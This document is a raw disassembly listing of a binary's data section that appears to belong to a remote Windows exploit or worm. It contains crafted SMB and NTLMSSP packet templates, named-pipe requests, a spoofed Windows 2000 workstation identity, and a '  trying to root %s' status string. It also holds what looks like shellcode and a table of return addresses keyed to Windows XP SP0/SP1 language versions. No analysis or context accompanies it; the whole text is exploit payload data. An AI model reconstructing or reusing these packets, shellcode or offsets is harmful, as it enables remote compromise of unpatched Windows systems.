		dd 185B9B8Fh, 23122h, 5D040002h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 0F0000h, 4FC80001h, 16704B32h, 781201D3h
		dd 6EBF475Ah, 388E1h, 5D040000h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 100000h, 0DE960001h, 5B30B378h, 469AE9FEh
		dd 0ECD0F96h, 444E6h, 5D040003h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 110000h, 0A9B40001h, 640309A4h, 0A1338C6Ch
		dd 0F6D1EF39h, 2E8BCh, 5D040001h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 120000h, 8BA10001h, 8040A429h, 0B9F09E15h
		dd 43423390h, 25811h, 5D040000h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 130000h, 5D800001h, 7CA6EAEFh, 9C7FA1BEh
		dd 900800C3h, 437C6h, 5D040002h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 140000h, 96280001h, 80DFA998h, 35D07846h
		dd 1613D94Dh, 6212Eh, 5D040001h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h
dword_4228E0	dd 26048h, 150000h, 8DBC0001h, 9410948Ah, 3EC6AE42h, 9EA6C8F6h
					; DATA XREF: .text:004036DEo
		dd 6DB96h, 5D040003h, 1CEB8A88h, 0E89F11C9h, 102B0008h
		dd 26048h, 160000h, 3A30001h, 0A1E2E55Eh, 4F372266h, 5E1CF00Fh
		dd 5FF0Fh, 5D040003h, 1CEB8A88h, 0E89F11C9h, 102B0008h
		dd 26048h, 170000h, 0A6C60001h,	600F5C0Bh, 9376FE39h, 0F02A6305h
		dd 151A2h, 5D040003h, 1CEB8A88h, 0E89F11C9h, 102B0008h
		dd 26048h, 180000h, 20290001h, 4A8040BFh, 0A773ED25h, 9D548349h
		dd 21268h, 5D040002h, 1CEB8A88h, 0E89F11C9h, 102B0008h
		dd 26048h, 190000h, 2FB90001h, 274FDBD1h, 131ED051h, 0F3ED8CCAh
		dd 6F5F3h, 5D040002h, 1CEB8A88h, 0E89F11C9h, 102B0008h
		dd 26048h, 1A0000h, 0F6E40001h,	0FB47C143h, 0B31848FAh
		dd 9D8B5559h, 6CB79h, 5D040001h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 0
dword_4229F0	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: .text:004036FBo
		dd 0DC00800h, 0F2140800h, 0FF0Eh, 400000h, 0FF000000h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10010000h,	18000000h, 1, 0
		dd 0F000001h, 0B1001F00h, 112145Fh, 0
		dd 1000000h, 0
		dd 15C4A500h, 2, 15000000h, 7C000002h, 0A898B94Eh, 2CB7344Ah
		dd 913DE231h, 0F8137A92h, 7D34FD86h, 3D757871h,	0BA3F6692h
		dd 0BBB9F81Ah, 3CD53891h, 2DB3D628h, 0B4677A15h, 9F147BB0h
		dd 2BA9374Fh, 0B24979FCh, 402C7C97h, 1774B24h, 473574E2h
		dd 737E7FB1h, 42BEF530h, 0F933B725h, 9890D46Bh,	0BFFD10B8h
		dd 4A70E389h, 9BB5994Eh, 0C0FF2241h, 72761DE1h,	0E0184304h
		dd 0A805460Ch, 1CEB8427h, 0EB11B693h, 96A89648h, 747D7199h
		dd 0FC85FD02h, 7570417Eh, 0F5204214h, 0B9A9B692h, 2CE1831Dh
		dd 277B7ABEh, 88904035h, 0B834B7D6h, 9F0C9167h,	4EB4BA25h
		dd 247F78B2h, 9715434Bh, 0E219F82Ah, 983C7948h,	0B1371CBBh
		dd 47763F9Bh, 305B54Ah,	0D308BFD4h, 9349E0D2h, 873DD532h
		dd 0B34F77F9h, 697C0473h, 7246E3F7h, 0B02D66h
dword_422B4C	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: .text:00403718o
		dd 0DC00800h, 0F2140800h, 0FF0Eh, 18400000h, 0FF000001h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 0F000001h, 1D001F00h, 0C1FED081h, 53D73EBh, 0F9214192h
		dd 0C46154Ah, 443797Dh,	39FC1B75h, 0D62977E2h, 969B4FB1h
		dd 47257274h, 496697BEh, 7BD5124Eh, 0FD832C76h,	377FBFB8h
		dd 2442B699h, 0D46B70A9h, 912DBA9Fh, 0F820787Ah, 0B2F58034h
		dd 0E3027C27h, 0B73C7135h, 4B3F7EBBh, 1C9067A8h, 0D22998B5h
		dd 40B348E0h, 0B9B4B093h, 2176E138h, 0A91477E3h, 73E2F719h
		dd 86F98135h, 791DE1D1h, 69437278h, 919FB4D5h, 14B69325h
		dd 4BB84847h, 0B5F53905h, 7E99B704h, 377AF803h,	427D3C4Fh
		dd 0D4F62A7Bh, 9BA8B2B0h, 0B14A2475h, 97BB3496h, 4EFD33B3h
		dd 9246EB01h, 0D60B661Ch, 70E03190h, 2C2D7C27h,	67BF9840h
		dd 7F154174h, 0BE3F7149h, 0CFC10B9h, 3D76717Dh,	7473A9BAh
		dd 117F9237h, 0C13B7AE0h, 1A277BE2h, 0A81C78E3h, 3A96F585h
		dd 4E7775F9h, 7970B4B5h, 1DBBBA2Dh, 0B3257298h,	0EBD084B0h
		dd 7E467Ch
dword_422CA8	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: .text:00403735o
		dd 0DC00800h, 0F2140800h, 0FF0Eh, 30400000h, 0FF000002h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 0F000001h, 22001F00h, 0B749E1C0h, 24990C67h,	0D6134114h
		dd 43435B6h, 91BED42Bh,	32BFF887h, 0FD234BD5h, 0FC18053Ch
		dd 0B9403D90h, 4A70B243h, 667C1577h, 9F2C79B1h,	7FB8979Bh
		dd 9342EB12h, 0D3894778h, 3F7E48E2h, 4FE10871h,	72B32C7Dh
		dd 763D7347h, 2575B440h, 0BFD51D7Bh, 0BA15E388h, 96B2BB9Bh
		dd 914E49FCh, 0E009247Ah, 0B698F830h, 0A867B0A9h, 669F461Ch
		dd 4F48B942h, 0B53CB141h, 93F52899h, 34B7D643h,	3527F9BEh
		dd 92974B37h, 0B82D4AFDh, 0C050474h, 143FD41Bh,	66FCB790h
		dd 2CB93D05h, 0BB4FD51Ah, 0A9D6B5BEh, 4146B21Ch, 74D9D8DBh
		dd 0EBBFF424h, 2943AC5Dh, 5E52B1C9h, 3104C683h,	9503137Eh
		dd 0E8B64E4Eh, 15D671B5h, 83D5CACAh, 0AACD9EDEh, 2CF1DEDEh
		dd 882A4DAAh, 5B0EC827h, 5A16D64Bh, 44A9535Bh, 75163B28h
		dd 41DD8DC5h, 980C0F92h, 5E7C9664h, 9F7BDDA4h, 0DD8513EFh
		dd 0BEDF1Bh
dword_422E04	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: .text:00403752o
		dd 0DC00800h, 0F2140800h, 0FF0Eh, 48400000h, 0FF000003h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 0F000001h, 0B5001F00h, 0D0B408FFh, 1B12168Bh, 17D1CE67h
		dd 3BB9843Ch, 6F4671C3h, 4B250C48h, 0A2756E52h,	87F214B1h
		dd 0B445E75h, 0BE5910FDh, 9E69918Ah, 10249FE4h,	0FA47CF19h
		dd 6AD1A387h, 1D76767Bh, 0B5D94408h, 0FE8D7811h, 50758503h
		dd 0D9D5A023h, 346B2B3Eh, 0AC3EB6C8h, 581049CBh, 3564BC15h
		dd 165040F2h, 0CB0EEDAEh, 0B8F24113h, 5692B56Ch, 0F53DEE90h
		dd 9157EF1Fh, 0A627EABBh, 421EF593h, 6DCA5B0Ch,	3C5033FCh
		dd 0C1CF2AD3h, 0C2A5FEFAh, 75A369D3h, 7A7C2052h, 0D0D6E38Ch
		dd 4B07FB64h, 0ADD1E4EEh, 0E7DEBD96h, 61F1BD3Ch, 59425D5h
		dd 30D1CB4Ah, 93BB43E6h, 89DCEA3Bh, 7CC06487h, 80AF84C8h
		dd 3E4E478Ah, 0C4230B27h, 9397800Fh, 5019A418h,	0D293B7CEh
		dd 8D079110h, 60E94FBCh, 0D358712Bh, 3A520FEh, 0A6806E68h
		dd 7ECC23A7h, 49CD3B5Dh, 0E2B9135Dh, 687A175Dh,	8FD1CE61h
		dd 3A874Dh
dword_422F60	dd 0CA000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: .text:0040376Fo
		dd 0DC00800h, 0F2140800h, 80000010h, 0E0040000h, 0FFh
		dd 2 dup(0)
		dd 80004A00h, 2004A00h,	2600h, 5C008740h, 45504950h, 5005Ch
		dd 100200h, 800000h, 0
		dd offset dword_680000
		dd 0F0000h, 8EA1001Fh, 99C29638h, 804C846h, 0Fh	dup(8040002h)
		dd 2, 4D2E93h, 20000h, 0
		dd 20000h, 2EB0000h, 0E40000h, 2 dup(0)
dword_423030	dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
					; DATA XREF: .text:0040378Co
		dd 9A40000h, 5A4E0000h,	2003100h, 4D4E414Ch, 2E314E41h
		dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
		dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh
dword_423088	dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: .text:004037A9o
		dd 9A40000h, 5A4E0000h,	0FF0Ch,	2FFDF00h, 100h,	4E000000h
		dd 0
		dd 0D05C00h, 60007180h,	2B06064Ch, 5050106h, 3042A002h
		dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
		dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
		db    0
		db 20h,	2 dup(0)
		db    0
		db 0Ch,	0, 0Ch
		db    0
		db 20h,	2 dup(0)
		db    0
aWorkstation1_0	db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_2	db 'Windows 2000 5.0',0
dword_423138	dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: .text:004037C6o
		dd 9A40000h, 5A4E0800h,	0FF0Ch,	2FFDF00h, 100h,	94000000h
		dd 0
		dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
		dd 534D4C54h, 3005053h,	18000000h, 40001800h, 18000000h
		dd 58001800h, 0
		dd 70000000h, 0
		dd 70000000h, 18000000h, 70001800h, 2 dup(0)
		dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
		db    0
		db 2 dup(0), 0AFh
		db 0BBh	; 
		db 10h,	5Ch, 1Eh
		db  71h	; q
		db 0DBh, 8Dh, 7Ch
		db 0CBh	; 
		db 0FEh, 0F1h, 31h
		db    5
		db 35h,	30h, 43h
		db    4
		db 0F9h, 0DDh, 0C0h
		db 0A0h	; 
		dd offset word_57D1F6
		dd offset byte_52004F
		dd offset byte_53004B
		dd offset loc_410054
		dd offset dword_490054
		dd offset byte_4E004F
		db 31h,	0, 57h
aIndows200021_0	db 'indows 2000 2195',0
aWindows20005_3	db 'Windows 2000 5.0',0
		align 10h
dword_423230	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: .text:004037E0o
		dd 9A40000h, 5A4E0800h,	0FF04h,	1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_423270	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: .text:004037FAo
		dd 9A40800h, 5A4E0800h,	0FF18h,	80000h,	16h, 0
		dd 2019Fh, 3 dup(0)
		dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h
dword_4232D0	dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: .text:00403817o
		dd 9A40800h, 5A4E0800h,	48000010h, 0E0040000h, 0FFh, 2 dup(0)
		dd 48004A00h, 2004A00h,	2600h, 5C004F40h, 45504950h, 5005Ch
		dd 10030Bh, 480000h, 0
		dd 16D00000h, 16D0h, 10000h, 0
		dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
		dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h,	26048h
		dd 0
dword_423368	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: .text:00403834o
		dd 9A40800h, 5A4E0800h,	0FF0Eh,	400000h, 0FF000000h, 8FFFFFFh
		dd 11800h, 3F011800h, 0
		dd 5011800h, 10010000h,	18000000h, 1, 0
		dd 1, 0D4001F00h, 1000E03h, 0
		dd 1000000h, 0
		dd 63166500h, 1, 63000000h, 41000001h, 0BE3F9B42h, 2425B490h
		dd 0BAA80466h, 0F598B149h, 0C9339327h, 0C4DD52B1h, 0F42474D9h
		dd 0DB4AB85Eh, 46315650h, 13460313h, 0B2DF8C83h, 0CD2491A3h
		dd 765B6EA3h, 3A4FFAC0h, 3A7003D0h, 0A90493DFh,	77907704h
		dd 72DAFC79h, 0F6CC03F9h, 56991BB6h, 21761A69h,	0B30328E2h
		dd 2DD3611Ah, 3913054Eh, 0CF5EC488h, 24B50497h,	0ED6EDCACh
		dd 0B2E539A6h, 2A11C06Ch, 38AECEE6h, 0D431D2A7h, 0A3BAC65Bh
		dd 0D2A13230h, 70020B0Bh, 0F2842807h, 746FA257h, 35E41744h
		dd 3B93397Ch, 148FCB32h, 0C6290534h, 0DA85C1ACh, 28996658h
		dd 9DA2DCC6h, 0E2B11790h, 0CDB5F75Ah, 94AC7EC2h, 5B276D7Dh
		dd 0A43A072Bh, 53E3BF03h, 9B439251h, 3038BF4Fh,	0E5FC6C23h
		dd 0DAFDC180h, 3028D61h, 528C1E0Bh, 2AC841h
dword_4234C4	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: .text:00403851o
		dd 9A40800h, 5A4E0800h,	0FF0Eh,	18400000h, 0FF000001h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		db    1
		align 4
		db    0
		db 1Fh,	0, 8Eh
		db  1Ah
		db 0CFh, 64h, 50h
		db  0Ch
		db 0A5h, 9Ah, 0FFh
		db 0E4h	; 
		db 0C6h, 4Bh, 97h
		db 0A2h	; 
		db 95h,	42h, 81h
		db 0FCh	; 
		db 1Ah,	4Ch, 2
		db  56h	; V
		db 1Bh,	0A1h, 0CDh
		db 0BDh	; 
		db 0AAh, 0C4h, 47h
		db  69h	; i
		db 0D3h, 1Fh, 7
		db 0C1h	; 
		db 7Fh,	0F5h, 57h
		db  39h	; 9
		db 0ECh, 9Dh, 40h
		db 0C3h	; 
		db 0D4h, 27h, 0D8h
		db 0CBh	; 
		db 0Eh,	82h, 19h
		db 0E3h	; 
		db 0C8h, 47h, 82h
		db  62h	; b
		db 7Ch,	0FBh, 27h
		db 0E2h	; 
		db 99h,	91h, 0E7h
		db 0ADh	; 
		db 48h,	0AAh, 81h
		db 0A9h	; 
		db 0E0h, 76h, 1Bh
		db 0D7h	; 
		db 0C5h, 0B6h, 0E8h
		db 0B2h	; 
		db 0DBh, 75h, 22h
		db  3Dh	; =
		db 61h,	56h, 0AFh
		db  4Ch	; L
		db 1Fh,	9Eh, 64h
		db 0E5h	; 
		db 74h,	0B6h, 8
		db    4
		db 39h,	51h, 12h
		db  8Dh	; 
		db 79h,	0A1h, 3Ah
		db  35h	; 5
		db 0D6h, 0Fh, 92h
		db  9Bh	; 
		db 89h,	0C5h, 15h
		db  4Dh	; M
		db 78h,	4Fh, 47h
		db  92h	; 
		db 0AAh, 7, 0CAh
		db 0B5h	; 
		db 4Fh,	16h, 47h
		db 0B9h	; 
		db 99h,	0CCh, 97h
		db 0BAh	; 
		db 12h,	0EEh, 0B8h
		db 0CEh	; 
		db 0Bh,	0ECh, 0BAh
		db  15h
		db 0D7h, 0F3h, 6Bh
		db 0C7h	; 
		db 0E8h, 0DCh, 0FCh
		db    7
		db 0D8h, 3Dh, 9Ch
		db  84h	; 
		db 1Bh,	6Bh, 0A2h
		db 0FBh	; 
aTpnbh1hodneizg	db 'TPNBH1hoDNeIzg6oTMyZMXQwKmeqvdgiEnPSjmQpcMX04FTCNnZurnWxe6sHGovRc'
		db 'kM9fuTQXG9u2qPm1opnU473nMG4MFk4IoPO320b6dM0zS',0
dword_423620	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: .text:0040386Eo
		dd 9A40800h, 5A4E0800h,	0FF0Eh,	30400000h, 0FF000002h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 50001F00h, 68436565h, 4968386Ch, 4B777338h, 35425561h
		dd 4A6A4136h, 32336672h, 644B555Ah, 4C43334Ah, 53686970h
		dd 49637A33h, 6E446E66h, 4D444767h, 64453935h, 64423747h
		dd 34543175h, 726E6156h, 4F6C756Fh, 7A515044h, 52324B49h
		dd 42324D54h, 36636456h, 7559746Fh, 35775677h, 61434C47h
		dd 375A4641h, 61424243h, 6168646Fh, 52664D70h, 7464546Bh
		dd 4F77724Eh, 74647243h, 317A4867h, 0A527A69h, 72000208h
		dd 6B665136h, 4484A5Ah,	66000208h, 73636151h, 37376876h
		dd 49356663h, 504C7542h, 397A4F61h, 4A4D5561h, 3250614Eh
		dd 4577149h, 65000208h,	34634171h, 4346E33h, 39000208h
		dd 7739596Dh, 354D5A31h, 6E674177h, 57346C78h, 6941456Eh
		dd 4F756F41h, 3644737Ah, 4D676Dh, 5A1E9900h, 1000000h
		dd 0
		dd 1000000h, 0
		dd 0F089E800h, 0
dword_42377C	dd 66000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: .text:00403888o
		dd 9A40800h, 5A4E0800h,	1C000010h, 0E0040000h, 0FFh, 2 dup(0)
		dd 1C004A00h, 2004A00h,	2600h, 5C002340h, 45504950h, 5005Ch
		dd 100200h, 1C0000h, 0
		dd 40000h, 0
		dd 1Fh,	0
dword_4237E8	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: .text:004038A5o
		dd 9A40800h, 5A4E0800h,	0FF0Eh,	400000h, 0FF000000h, 8FFFFFFh
		dd 11800h, 3F011800h, 0
		dd 5011800h, 10010000h,	18000000h, 1, 0
		dd 1, 0D4001F00h, 1000E03h, 0
		dd 1000000h, 0
		dd 63166500h, 1, 63000000h, 41000001h, 0BE3F9B42h, 2425B490h
		dd 0BAA80466h, 0F598B149h, 0C9339327h, 0C4DD52B1h, 0F42474D9h
		dd 0DB4AB85Eh, 46315650h, 13460313h, 0B2DF8C83h, 0CD2491A3h
		dd 765B6EA3h, 3A4FFAC0h, 3A7003D0h, 0A90493DFh,	77907704h
		dd 72DAFC79h, 0F6CC03F9h, 56991BB6h, 21761A69h,	0B30328E2h
		dd 2DD3611Ah, 3913054Eh, 0CF5EC488h, 24B50497h,	0ED6EDCACh
		dd 0B2E539A6h, 2A11C06Ch, 38AECEE6h, 0D431D2A7h, 0A3BAC65Bh
		dd 0D2A13230h, 70020B0Bh, 0F2842807h, 746FA257h, 35E41744h
		dd 3B93397Ch, 148FCB32h, 0C6290534h, 0DA85C1ACh, 28996658h
		dd 9DA2DCC6h, 0E2B11790h, 0CDB5F75Ah, 94AC7EC2h, 5B276D7Dh
		dd 0A43A072Bh, 53E3BF03h, 9B439251h, 3038BF4Fh,	0E5FC6C23h
		dd 0DAFDC180h, 3028D61h, 528C1E0Bh, 2AC841h
dword_423944	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: .text:004038C2o
		dd 9A40800h, 5A4E0800h,	0FF0Eh,	18400000h, 0FF000001h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		db    1
		align 4
		db    0
		db 1Fh,	0, 8Eh
		db  1Ah
		db 0CFh, 64h, 50h
		db  0Ch
		db 0A5h, 9Ah, 0FFh
		db 0E4h	; 
		db 0C6h, 4Bh, 97h
		db 0A2h	; 
		db 95h,	42h, 81h
		db 0FCh	; 
		db 1Ah,	4Ch, 2
		db  56h	; V
		db 1Bh,	0A1h, 0CDh
		db 0BDh	; 
		db 0AAh, 0C4h, 47h
		db  69h	; i
		db 0D3h, 1Fh, 7
		db 0C1h	; 
		db 7Fh,	0F5h, 57h
		db  39h	; 9
		db 0ECh, 9Dh, 40h
		db 0C3h	; 
		db 0D4h, 27h, 0D8h
		db 0CBh	; 
		db 0Eh,	82h, 19h
		db 0E3h	; 
		db 0C8h, 47h, 82h
		db  62h	; b
		db 7Ch,	0FBh, 27h
		db 0E2h	; 
		db 99h,	91h, 0E7h
		db 0ADh	; 
		db 48h,	0AAh, 81h
		db 0A9h	; 
		db 0E0h, 76h, 1Bh
		db 0D7h	; 
		db 0C5h, 0B6h, 0E8h
		db 0B2h	; 
		db 0DBh, 75h, 22h
		db  3Dh	; =
		db 61h,	56h, 0AFh
		db  4Ch	; L
		db 1Fh,	9Eh, 64h
		db 0E5h	; 
		db 74h,	0B6h, 8
		db    4
		db 39h,	51h, 12h
		db  8Dh	; 
		db 79h,	0A1h, 3Ah
		db  35h	; 5
		db 0D6h, 0Fh, 92h
		db  9Bh	; 
		db 89h,	0C5h, 15h
		db  4Dh	; M
		db 78h,	4Fh, 47h
		db  92h	; 
		db 0AAh, 7, 0CAh
		db 0B5h	; 
		db 4Fh,	16h, 47h
		db 0B9h	; 
		db 99h,	0CCh, 97h
		db 0BAh	; 
		db 12h,	0EEh, 0B8h
		db 0CEh	; 
		db 0Bh,	0ECh, 0BAh
		db  15h
		db 0D7h, 0F3h, 6Bh
		db 0C7h	; 
		db 0E8h, 0DCh, 0FCh
		db    7
		db 0D8h, 3Dh, 9Ch
		db  84h	; 
		db 1Bh,	6Bh, 0A2h
		db 0FBh	; 
aTpnbh1hodnei_0	db 'TPNBH1hoDNeIzg6oTMyZMXQwKmeqvdgiEnPSjmQpcMX04FTCNnZurnWxe6sHGovRc'
		db 'kM9fuTQXG9u2qPm1opnU473nMG4MFk4IoPO320b6dM0zS',0
dword_423AA0	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: .text:004038DFo
		dd 9A40800h, 5A4E0800h,	0FF0Eh,	30400000h, 0FF000002h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 50001F00h, 68436565h, 4968386Ch, 4B777338h, 35425561h
		dd 4A6A4136h, 32336672h, 644B555Ah, 4C43334Ah, 53686970h
		dd 49637A33h, 6E446E66h, 4D444767h, 64453935h, 64423747h
		dd 34543175h, 726E6156h, 4F6C756Fh, 7A515044h, 52324B49h
		dd 42324D54h, 36636456h, 7559746Fh, 35775677h, 61434C47h
		dd 375A4641h, 61424243h, 6168646Fh, 52664D70h, 7464546Bh
		dd 4F77724Eh, 74647243h, 317A4867h, 0A527A69h, 72000208h
		dd 6B665136h, 4484A5Ah,	66000208h, 73636151h, 37376876h
		dd 49356663h, 504C7542h, 397A4F61h, 4A4D5561h, 3250614Eh
		dd 4577149h, 65000208h,	34634171h, 4346E33h, 39000208h
		dd 7739596Dh, 354D5A31h, 6E674177h, 57346C78h, 6941456Eh
		dd 4F756F41h, 3644737Ah, 4D676Dh, 5A1E9900h, 1000000h
		dd 0
		dd 1000000h, 0
		dd 0F089E800h, 0
dword_423BFC	dd 66000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: .text:004038F9o
		dd 9A40800h, 5A4E0800h,	1C000010h, 0E0040000h, 0FFh, 2 dup(0)
		dd 1C004A00h, 2004A00h,	2600h, 5C002340h, 45504950h, 5005Ch
		dd 100200h, 1C0000h, 0
		dd 40000h, 0
		dd 1Fh,	0
dword_423C68	dd 5B027302h, 5D1F491Fh, 73252820h, 6C1F702Eh, 2029671Fh
					; DATA XREF: .text:00403966o
		dd 2BBBB02h
aTryingToRootS	db '  trying to root %s',0
		align 8
aFb		db 'f',7,0           ; DATA XREF: sub_403C2B+A9o
		align 10h
dword_423CA0	dd 129F74h, 0	dword_423CA8	dd 127D78h, 0	dword_423CB0	dd 5B03EB60h, 0F8E8C353h, 31FFFFFFh, 13404C0h, 315B50D8h
					; DATA XREF: sub_403C2B+D5o
		dd 401002D2h, 50403002h, 4104C031h, 0C628C228h,	6604E2C0h
		dd 3104EAC1h, 2F630C0h,	66032803h, 58431301h, 802C931h
		dd 61D5E0h, 424E0Ch
dword_423CF4	dd 77BD3143h	dword_423CF8	dd 7FCh		byte_423CFC	db 1			; DATA XREF: sub_403C2B:loc_403EF6r
					; sub_403C2B+2F2r ...
		align 10h
		dd offset aWindowsXpSp01E ; "Windows XP	SP0+1 ENG"
		dd 77C03143h, 7FCh, 1, 424DE0h,	77BD1F89h, 7FCh, 1, 424DCCh
		dd 77BD1FA8h, 7FCh, 1, 424DB8h,	77BD1FD6h, 7FCh, 1, 424DA4h
		dd 77BD2195h, 7FCh, 1, 424D90h,	77BD21B3h, 7FCh, 1, 424D7Ch
		dd 77BD21E0h, 7FCh, 1, 424D68h,	77BD220Ch, 7FCh, 1, 424D54h
		dd 77BD2241h, 7FCh, 1, 424D40h,	77BD22D2h, 7FCh, 1, 424D2Ch
		dd 77BD28B2h, 7FCh, 1, 424D18h,	77BD29ABh, 7FCh, 1, 424D04h
		dd 77BD29E7h, 7FCh, 1, 424CF0h,	77BD29F7h, 7FCh, 1, 424CDCh
		dd 77BD2A03h, 7FCh, 1, 424CC8h,	77BD2D6Dh, 7FCh, 1, 424CB4h
		dd 77BD2DB3h, 7FCh, 1, 424CA0h,	77BD2EC2h, 7FCh, 1, 424C8Ch
		dd 77BD2EDDh, 7FCh, 1, 424C78h,	77BD30AFh, 7FCh, 1, 424C64h
		dd 77BD312Bh, 7FCh, 1, 424C50h,	77BD3160h, 7FCh, 1, 424C3Ch
		dd 77BD349Ah, 7FCh, 1, 424C28h,	77BD34E4h, 7FCh, 1, 424C0Ch
		dd 655B4F02h, 7E7h, 0
		dd offset aWindowsUkXpPro ; "Windows uk	xp pro sp1 1"
		dd 77C01F89h, 7FCh, 1, 424BDCh,	77C01FA8h, 7FCh, 1, 424BC4h
		dd 77C01FD6h, 7FCh, 1, 424BACh,	77C02195h, 7FCh, 1, 424B94h
		dd 77C021B3h, 7FCh, 1, 424B7Ch,	77C021E0h, 7FCh, 1, 424B64h
		dd 77C0220Ch, 7FCh, 1, 424B4Ch,	77C02241h, 7FCh, 1, 424B34h
		dd 77C022D2h, 7FCh, 1, 424B18h,	77C028B2h, 7FCh, 1, 424AFCh
		dd 77C029ABh, 7FCh, 1, 424AE0h,	77C029E7h, 7FCh, 1, 424AC4h
		dd 77C029F7h, 7FCh, 1, 424AA8h,	77C02A03h, 7FCh, 1, 424A8Ch
		dd 77C02A39h, 7FCh, 1, 424A70h,	77C02D6Dh, 7FCh, 1, 424A54h
		dd 77C02DB3h, 7FCh, 1, 424A38h,	77C02EC2h, 7FCh, 1, 424A1Ch
		dd 77C02EDDh, 7FCh, 1, 424A00h,	77C030AFh, 7FCh, 1, 4249E4h
		dd 77C0312Bh, 7FCh, 1, 4249C8h,	77C03143h, 7FCh, 1, 4249ACh
		dd 77C03160h, 7FCh, 1, 424990h,	77C0349Ah, 7FCh, 1, 424974h
		dd 77C034E4h, 7FCh, 1, 42495Ch,	77B920FDh, 7FCh, 1, 424944h
		dd 77B9211Ch, 7FCh, 1, 42492Ch,	77B9214Ah, 7FCh, 1, 424914h
		dd 77B9230Ch, 7FCh, 1, 4248FCh,	77B9232Ah, 7FCh, 1, 4248E4h
		dd 77B92357h, 7FCh, 1, 4248CCh,	77B92383h, 7FCh, 1, 4248B4h
		dd 77B923B8h, 7FCh, 1, 42489Ch,	77B92448h, 7FCh, 1, 424880h
		dd 77B92AAAh, 7FCh, 1, 424864h,	77B92BA7h, 7FCh, 1, 424848h
		dd 77B92BE3h, 7FCh, 1, 42482Ch,	77B92BF3h, 7FCh, 1, 424810h
		dd 77B92BFFh, 7FCh, 1, 4247F4h,	77B92F78h, 7FCh, 1, 4247D8h
		dd 77B92FBEh, 7FCh, 1, 4247BCh,	77B930EFh, 7FCh, 1, 4247A0h
		dd 77B9310Dh, 7FCh, 1, 424784h,	77B9330Ch, 7FCh, 1, 424768h
		dd 77B93388h, 7FCh, 1, 42474Ch,	77B9339Eh, 7FCh, 1, 424730h
		dd 77B933BAh, 7FCh, 1, 424714h,	77B9373Dh, 7FCh, 1, 4246F8h
		dd 77B9378Ah, 7FCh, 1, 4246E0h,	77B920FDh, 7FCh, 1, 4246C8h
		dd 77B9211Ch, 7FCh, 1, 4246B0h,	77B9214Ah, 7FCh, 1, 424698h
		dd 77B9230Ch, 7FCh, 1, 424680h,	77B9232Ah, 7FCh, 1, 424668h
		dd 77B92357h, 7FCh, 1, 424650h,	77B92383h, 7FCh, 1, 424638h
		dd 77B923B8h, 7FCh, 1, 424620h,	77B92448h, 7FCh, 1, 424604h
		dd 77B92AAAh, 7FCh, 1, 4245E8h,	77B92BA7h, 7FCh, 1, 4245CCh
		dd 77B92BE3h, 7FCh, 1, 4245B0h,	77B92BF3h, 7FCh, 1, 424594h
		dd 77B92BFFh, 7FCh, 1, 424578h,	77B92F78h, 7FCh, 1, 42455Ch
		dd 77B92FBEh, 7FCh, 1, 424540h,	77B930EFh, 7FCh, 1, 424524h
